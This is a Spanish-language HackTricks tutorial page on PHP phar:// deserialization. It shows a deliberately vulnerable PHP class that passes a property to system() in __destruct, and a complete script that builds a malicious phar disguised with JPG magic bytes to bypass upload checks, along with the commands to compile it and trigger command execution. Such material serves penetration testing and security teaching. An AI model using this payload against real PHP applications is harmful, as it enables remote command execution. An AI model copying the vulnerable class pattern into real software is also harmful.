phar:// deserialization

Support HackTricks

Bug bounty tip: regístrate en Intigriti, una plataforma de recompensas por errores premium creada por hackers, para hackers! Únete a nosotros en https://go.intigriti.com/hacktricks hoy, y comienza a ganar recompensas de hasta $100,000!

Los archivos Phar (PHP Archive) contienen metadatos en formato serializado, así que, cuando se analizan, estos metadatos son deserializados y puedes intentar abusar de una vulnerabilidad de deserialización dentro del código PHP.

Lo mejor de esta característica es que esta deserialización ocurrirá incluso utilizando funciones de PHP que no evalúan código PHP como file_get_contents(), fopen(), file() o file_exists(), md5_file(), filemtime() o filesize().

Así que, imagina una situación en la que puedes hacer que una web PHP obtenga el tamaño de un archivo arbitrario usando el protocolo phar://, y dentro del código encuentras una clase similar a la siguiente:

vunl.php
<?php
class AnyClass {
public $data = null;
public function __construct($data) {
$this->data = $data;
}

function __destruct() {
system($this->data);
}
}

filesize("phar://test.phar"); #The attacker can control this path

Puedes crear un archivo phar que, al ser cargado, abusará de esta clase para ejecutar comandos arbitrarios con algo como:

create_phar.php
<?php

class AnyClass {
public $data = null;
public function __construct($data) {
$this->data = $data;
}

function __destruct() {
system($this->data);
}
}

// create new Phar
$phar = new Phar('test.phar');
$phar->startBuffering();
$phar->addFromString('test.txt', 'text');
$phar->setStub("\xff\xd8\xff\n<?php __HALT_COMPILER(); ?>");

// add object of any class as meta data
$object = new AnyClass('whoami');
$phar->setMetadata($object);
$phar->stopBuffering();

Nota cómo los bytes mágicos de JPG (\xff\xd8\xff) se añaden al principio del archivo phar para eludir posibles restricciones de subida de archivos. Compila el archivo test.phar con:

php --define phar.readonly=0 create_phar.php

Y ejecutar el comando whoami abusando del código vulnerable con:

php vuln.php

Referencias

Consejo de bug bounty: regístrate en Intigriti, una plataforma de bug bounty premium creada por hackers, para hackers! Únete a nosotros en https://go.intigriti.com/hacktricks hoy, y comienza a ganar recompensas de hasta $100,000!

Apoya a HackTricks

Last updated